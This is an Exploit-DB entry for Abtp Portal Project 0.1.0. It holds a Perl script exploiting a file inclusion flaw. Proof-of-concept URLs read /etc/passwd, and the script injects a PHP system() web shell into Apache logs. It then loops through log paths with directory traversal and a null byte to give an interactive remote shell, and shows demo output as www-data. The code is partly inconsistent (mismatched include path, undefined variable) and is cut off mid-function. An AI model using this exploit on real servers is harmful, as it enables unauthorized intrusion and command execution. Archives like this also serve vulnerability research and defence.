Exploit-DB #15711
Description: Abtp Portal Project 0.1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-09
Author: Br0ly

Exploit:
#!/usr/bin/perl

=about
----------------------------------------------------------------------------------------------------

  Name : Abtp Portal Project <= 1.0
  Site : http://sourceforge.net/projects/abtpportal/
  Down : http://sourceforge.net/project/platformdownload.php?group_id=59168

----------------------------------------------------------------------------------------------------

  
  Found By : br0ly
  Made in  : Brasil
  Contact  : br0ly[dot]Code[at]gmail[dot]com

----------------------------------------------------------------------------------------------------

  Description:

  Bug : Local/Remote File Inclusion

  Look this: includes/esqueletos/skel_null.php:1: <? include($ABTPV_BLOQUE_CENTRAL); ?>
  The variable $ ABTPV_BLOQUE_CENTRAL was not correctly stated thus enabling the attack include malicious files or read files from the system.
  
  If allow_url_fopen=on   --> RFI;
  If magic_quotes_gpc=off --> LFI;   

----------------------------------------------------------------------------------------------------

  P0c:
    
    RFI:http://localhost/Scripts/abtpportal0.1.0/includes/esqueletos/skel_null.php?ABTPV_BLOQUE_CENTRAL=[EVIL_CODE]?

    LFI:http://localhost/Scripts/abtpportal0.1.0/includes/esqueletos/skel_null.php?ABTPV_BLOQUE_CENTRAL=/etc/passwd

  OBS: need register_globals=on;

----------------------------------------------------------------------------------------------------
  Exploit Demo:

    perl abtpportal.txt http://localhost/Scripts/abtpportal0.1.0

      --------------------------------------
      - Abtp Portal Project	           
      - RCE Exploit                        
      - by br0ly                           
      --------------------------------------

    [*] Injecting evil php code ..
    [*] Cheeking for Apache Logs ..
    [*] Apache Log Injection completed
    [*] Path: /var/log/apache2/access.log
    [!] Hi my master, do your job now [;D]

    shell[localhost]$> id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
----------------------------------------------------------------------------------------------------

  
Greetz : Osirys.

;D

=cut

use IO::Socket::INET;
use LWP::UserAgent;


my $host	=  $ARGV[0];
my $lfi_path	=  "/help.php?module=";
my $gotcha      =  0;
my $null	= "%00";	
my $rand1	=  "1337".$rand_a."1337";
my $rand_b	=  int(rand 150);
my $rand2	=  "1337".$rand_b."1337";
my $dir		=  "../../../../../../../../../..";    
my @logs_dirs   =  qw(
                      /var/log/httpd/access_log
                      /var/log/httpd/access.log
                      /var/log/httpd/error.log
                      /var/log/httpd/error_log
                      /var/log/access_log
                      /logs/error.log
                      /logs/access.log
                      /var/log/apache/error_log
                      /var/log/apache/error.log
		      /var/log/apache2/error_log
                      /var/log/apache2/error.log
                      /etc/httpd/logs/access_log
                      /usr/local/apache/logs/error_log
		      /usr/local/apache2/logs/error_log
		      /etc/httpd/logs/access.log
                      /etc/httpd/logs/error_log
                      /etc/httpd/logs/error.log
                      /usr/local/apache/logs/access_log
                      /usr/local/apache/logs/access.log
		      /usr/local/apache2/logs/access_log
                      /usr/local/apache2/logs/access.log
                      /var/www/logs/access_log
                      /var/www/logs/access.log
                      /var/log/apache/access_log
                      /var/log/apache/access.log
		      /var/log/apache2/access_log
                      /var/log/apache2/access.log
                      /var/log/access_log
                      /var/www/logs/error_log
                      /var/www/logs/error.log
                      /usr/local/apache/logs/error.log
		      /usr/local/apache2/logs/error.log
		      /var/log/error_log
                      /apache/logs/error.log
                      /apache/logs/access.log
                    );

my $php_code   =  "<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=st".
                  "ripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";

 if (@ARGV < 1) { 
  
      &banner(); 
      &help("-1"); 
  }

  elsif (cheek($host) == 1) {
	  
	  &banner();

	  $datas = get_input($host);
	  $datas =~ /(.*) (.*)/;
	  ($h0st,$path) = ($1,$2);

	  &xploit();
  }
  
  else {
      
      &banner();
      help("-2");
  }


sub xploit () {

    $sock = IO::Socket::INET->new(
                                PeerAddr => $h0st,
                                PeerPort => 80,
                                Proto => "tcp"
			      ) || die "Can't connect to $host:80!\n";
    
    print "[*] Injecting evil php code ..\n";

    print $sock "GET /br0ly_log_inj start0:".$rand1.$php_code.":0end".$rand2." HTTP/1.1\r\n";
    print $sock "Host: ".$host."\r\n";
    print $sock "Connection: close\r\n\r\n";
    close($sock);
    
    print "[*] Cheeking for Apache Logs ..\n";

    while (($log = <@logs_dirs>)&&($gotcha != 1)) {
	
	$tmp_path = $host.$lfi_path.$dir.$log.$null;
	$re = get_req($tmp_path);
	
	if ($re =~ /br0ly_log_inj/) {
	    
	    $gotcha = 1;
	    $log_path = $tmp_path;
	    print "[*] Apache Log Injection completed\n";
	    print "[*] Path: $log\n";
	    print "[!] Hi my master, do your job now [;D]\n\n";
	    &exec_cmd;
	}
    }

    $gotcha == 1 || die "[-] Couldn't find Apache Logs\n";

}

sub exec_cmd {
    
      $h0st !~ /www\./ || $h0st =~ s/www\.//;
      print "shell[$h0st]\$> ";
      $cmd = <STDIN>;
      $cmd !~ /exit/ || die "[-] Quitting ..\n\n";
      $exec_url = $log_path."&cmd=".$cmd;
      my $re = get_req($exec_url);
      my $content = tag($re);
    
      if ($content =~ m/